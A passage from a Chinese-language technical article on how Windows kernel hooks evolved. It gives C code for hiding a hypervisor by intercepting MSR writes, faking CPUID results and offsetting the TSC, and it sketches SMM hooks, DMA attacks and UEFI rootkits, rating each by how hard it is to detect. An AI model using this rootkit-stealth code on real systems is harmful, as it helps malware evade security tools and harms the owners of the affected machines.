// VM-Exit Handler: 拦截 MSR 写入
void HandleMsrWrite(PVMX_VCPU vcpu) {
ULONG msrIndex = (ULONG)vcpu->guestState.Rcx;
ULONG64 newValue = ((ULONG64)vcpu->guestState.Rdx << 32) | (vcpu->guestState.Rax & 0xFFFFFFFF);
switch (msrIndex) {
case 0xC0000082: // IA32_LSTAR
// 阻止修改(或记录后放行)
// 如果放行,更新我们的记录
g_originalKiSystemCall64 = newValue;
__writemsr(msrIndex, newValue);
break;
default:
__writemsr(msrIndex, newValue);
break;
}
AdvanceGuestRip(vcpu);
}
检测难度:★★★★★
- 检测工具用 rdmsr 读 IA32_LSTAR 看到的是假值
- 配合 EPT Hook,代码也看到是假的
- 双重伪装:代码伪装 + 数据伪装
4.4 CPUID 虚拟化隐藏 + TSC 补偿
原理
Hypervisor 的存在可以通过 CPUID 指令被检测(VMX 会让 CPUID.1:ECX.bit31 = 1)。同时 VM-Exit 会引入可测量的时间延迟。通过拦截 CPUID 和补偿 TSC(时间戳计数器),可以让检测工具完全无法发现 Hypervisor。
完整实现
// ===== CPUID 伪装 =====
void HandleCpuid(PVMX_VCPU vcpu) {
int cpuInfo[4];
__cpuidex(cpuInfo, (int)vcpu->guestState.Rax, (int)vcpu->guestState.Rcx);
ULONG leaf = (ULONG)vcpu->guestState.Rax;
switch (leaf) {
case 0x1:
// 清除 Hypervisor Present bit (ECX bit 31)
cpuInfo[2] &= ~(1 << 31);
break;
case 0x40000000:
case 0x40000001:
case 0x40000002:
case 0x40000003:
case 0x40000004:
case 0x40000005:
case 0x40000006:
// 所有 Hypervisor 扩展 leaf 返回 0
cpuInfo[0] = cpuInfo[1] = cpuInfo[2] = cpuInfo[3] = 0;
break;
case 0x0:
// 确保 max leaf 不包含 0x40000000 范围
if (cpuInfo[0] > 0x20) cpuInfo[0] = 0x20;
break;
}
vcpu->guestState.Rax = cpuInfo[0];
vcpu->guestState.Rbx = cpuInfo[1];
vcpu->guestState.Rcx = cpuInfo[2];
vcpu->guestState.Rdx = cpuInfo[3];
AdvanceGuestRip(vcpu);
}
// ===== TSC 补偿(隐藏 VM-Exit 延迟)=====
// VM-Exit + VM-Entry 大约消耗 1000-3000 TSC cycles
// 如果检测工具在 VM-Exit 前后读 TSC 对比,可以发现异常延迟
// 方案:在 VMCS 中设置 TSC Offset,每次 VM-Exit 后补偿消耗的时间
typedef struct _TSC_STATE {
ULONG64 lastExitTsc; // 上次 VM-Exit 时的 TSC
ULONG64 totalOffset; // 累积需要减去的 TSC
} TSC_STATE;
TSC_STATE g_tscState[256] = {0}; // 每个 CPU 一个
void HandleVmExit(PVMX_VCPU vcpu) {
ULONG64 exitTsc = __rdtsc();
// ... 处理各种 VM-Exit ...
ULONG64 entryTsc = __rdtsc();
ULONG64 exitCost = entryTsc - exitTsc;
// 将这次 VM-Exit 的时间消耗累加到 TSC Offset
g_tscState[vcpu->cpuIndex].totalOffset += exitCost;
// 更新 VMCS TSC Offset(Guest 读到的 TSC = 实际 TSC - offset)
__vmx_vmwrite(VMCS_TSC_OFFSET, -(INT64)g_tscState[vcpu->cpuIndex].totalOffset);
}
// 还需要处理 RDTSC/RDTSCP 的 VM-Exit(如果启用了 RDTSC exiting)
void HandleRdtsc(PVMX_VCPU vcpu) {
ULONG64 tsc = __rdtsc() - g_tscState[vcpu->cpuIndex].totalOffset;
vcpu->guestState.Rax = (ULONG)(tsc & 0xFFFFFFFF);
vcpu->guestState.Rdx = (ULONG)(tsc >> 32);
AdvanceGuestRip(vcpu);
}
检测难度:★★★★★
- CPUID 看不到 Hypervisor
- TSC 差值测量看不到异常延迟
- 几乎无法通过软件手段检测
第五层:硬件/固件级 Hook(Ring -2 及以下)
这一层已经超越了软件的范畴,涉及 CPU 微码、固件、外部硬件设备。即使 Hypervisor 也无法检测或防御这一层的攻击。
5.1 SMM Hook(系统管理模式)
原理
SMM(System Management Mode)是 x86 CPU 中最高特权级的执行模式,比 Ring -1(Hypervisor)还高。SMM 代码运行在 SMRAM 中,对操作系统和 Hypervisor 完全不可见。
权限层级:
Ring 3 (User) < Ring 0 (Kernel) < Ring -1 (Hypervisor) < Ring -2 (SMM)
SMM 的超能力:
- 拥有独立的、不可被访问的内存(SMRAM)
- 可以任意修改任何 CPU 寄存器状态
- 执行期间所有中断被屏蔽
- 独立的代码空间,操作系统不可见/不可访问
- 从 SMRAM 返回时 CPU 恢复之前的状态,无法感知 SMM 曾执行
攻击方式
// SMM 攻击需要固件层面的漏洞利用
// 一旦在 SMRAM 中植入代码:
void SmmHookHandler(SMM_SAVE_STATE* saveState) {
// 获取被暂停的操作系统状态
ULONG64 kernelCr3 = saveState->Cr3;
ULONG64 guestRip = saveState->Rip;
// 直接通过物理地址修改内核内存(绕过所有保护)
// 因为 SMM 可以直接访问所有物理内存
PVOID targetPhysAddr = TranslateVaToPhys(kernelCr3, targetVa);
// 修改内核代码/数据
WritePhysicalMemory(targetPhysAddr, hookCode, hookSize);
// 完成后返回,CPU 恢复正常执行
// 操作系统和 Hypervisor 完全无法感知
}
// 触发 SMI 的方式(周期性执行 Hook 逻辑):
// - 利用 ACPI 定时器触发 SMI
// - 写入特定 I/O 端口触发 SMI (outb 0xB2, value)
// - 利用 USB controller 触发 Legacy USB SMI
检测难度:★★★★★(理论不可检测)
- SMRAM 对操作系统完全不可见
- CPU 在 SMM 期间外部不响应,没有时间线索暴露
- 即使 Hypervisor 也在 SMI 期间被暂停
- 唯一检测方式:硬件调试器(JTAG)、固件签名验证(Secure Boot)
5.2 DMA Attack(直接内存访问攻击)
原理
通过 PCIe/Thunderbolt 设备的 DMA(Direct Memory Access)能力,直接读写主机物理内存,完全绕过 CPU 的所有保护机制。不需要在目标系统上执行任何代码。
攻击设备
- PCIe 恶意设备(伪装成网卡等)
- Thunderbolt 外接设备
- FireWire 设备(旧系统)
- 恶意 NIC 固件(如 Intel AMT 漏洞利用)
实现概述
// 在恶意 PCIe 设备的固件中:
void DmaHookInstall() {
// 扫描物理内存,定位 Windows 内核
PHYSICAL_ADDRESS ntBase = ScanForKernelBase();
// 定位目标函数(通过特征码匹配)
PHYSICAL_ADDRESS targetFunc = FindFunctionBySignature(ntBase);
// 通过 DMA 直接写入物理内存
// 绕过 CPU 的 MMU/EPT,没有任何权限检查
DmaWrite(targetFunc, hookCode, hookCodeSize);
// 或者更隐蔽:修改页表来实现类似 PTE Hook 的效果
PHYSICAL_ADDRESS pteAddr = CalculatePtePhysAddr(targetFunc);
DmaWrite(pteAddr, &modifiedPte, sizeof(MMPTE));
}
防御
- IOMMU (VT-d / AMD-Vi):为 DMA 设备创建独立地址空间
- Kernel DMA Protection (Windows 10 1803+)
- Thunderbolt Security Level 设置
检测难度:★★★★★(无 IOMMU 时不可检测)
5.3 BIOS/UEFI Rootkit
原理
在 UEFI 固件中植入恶意代码。由于 UEFI 在操作系统之前执行,可以在 OS 加载前修改任何数据(包括 bootloader、内核加载器),绕过内核保护。即使重装系统、更换硬盘也无法清除。
已知案例
- LoJax (2018) — 第一个野外发现的 UEFI rootkit
- MosaicRegressor (2020) — 针对外交官的 UEFI 植入物
- CosmicStrand (2022) — 修改 UEFI 固件的持久化攻击
- BlackLotus (2023) — 绕过 Secure Boot 的 UEFI bootkit
攻击流程
1. 获取 SPI Flash 写入权限(利用固件漏洞或物理访问)
2. 在 UEFI DXE 阶段植入恶意模块
3. 恶意模块在 OS 加载时注入代码到 Windows Boot Manager
4. Boot Manager 加载内核时注入代码到内核加载器
5. 加载的内核带有预装 Hook(此时 Secure Boot/PatchGuard 尚未初始化)
检测难度:★★★★★
- 重装系统无法清除
- 操作系统层面几乎不可检测
- 需要专用固件扫描工具(如 CHIPSEC、UEFI Toolkit)
- Secure Boot 可以阻止未签名固件(但有时也能被绕过)
总览对比表

技术演进路线图
2001-2006 (XP 时代 - 无保护)
│ IAT/EAT Hook → Inline Hook → SSDT Hook → IDT Hook
│ → 没安全机制,想做什么做什么
│
2006-2012 (Vista/7 - PatchGuard 登场)
│ PatchGuard v1 出现 → SSDT/IDT Hook 阵亡
│ DKOM 兴起 → MSR Hook → PG 绕过混战
│ → 猫鼠游戏开始
│
2012-2015 (Win8/8.1 - DSE + PG 强化)
│ 驱动签名强制 → BYOVD 攻击兴起
│ Infinity Hook → Kernel Callback 大行其道
│ → 合法接口开始吃香
│
2015-2018 (Win10 - HVCI + VBS)
│ HVCI 禁止动态代码执行 → EPT Hook 崛起
│ PTE Base 随机化 → PTE Hook 难度上升
│ → 军备竞赛进入虚拟化时代
│
2018-2022 (鼎盛期)
│ EPT Hook 框架成熟(HyperHide、hvpp、SimpleSvm)
│ VMFUNC EPTP Switching 实用化
│ 反作弊开始部署 Hypervisor 检测
│ → 攻守双方对等博弈
│
2022-2026 (当前)
│ VBS + Credential Guard 全面部署
│ 虚拟化嵌套检测
│ 时序侧信道对抗
│ UEFI Rootkit 商业化(BlackLotus)
│ → 战场延伸到固件层
│
未来趋势:
│ Intel TDX / AMD SEV → 硬件强制隔离
│ ARM CCA (Confidential Compute Architecture)
│ 当硬件不再信任软件 → Hypervisor Hook 的末日?
结语
Windows Hook 技术经过 20+ 年的进化,已经从简单粗暴的 IAT 修改,发展到需要理解 Intel VT-x 手册才能实现的 EPT 量子级技术。
每一道微软加固的防线,都催生了更底层的一次突破:
- 用户态被拦 → 进内核
- 内核被 PatchGuard 监控 → 绕过 PatchGuard
- 内核结构都不能碰了 → 去 Hypervisor
- Hypervisor 被检测 → 去 SMM / UEFI
核心公理:谁控制了更底层的抽象,谁就拥有绝对控制权。 上层的任何检测手段都可以被下层伪造——这就是为什么 EPT Hook 之后在纯软件层面几乎不可检测的根本原因。
在 云栈社区 的相关技术板块中,关于底层安全与反取证技术的探讨始终是热度最高的话题之一,欢迎各位对网络/系统底层感兴趣的同好前来交流。
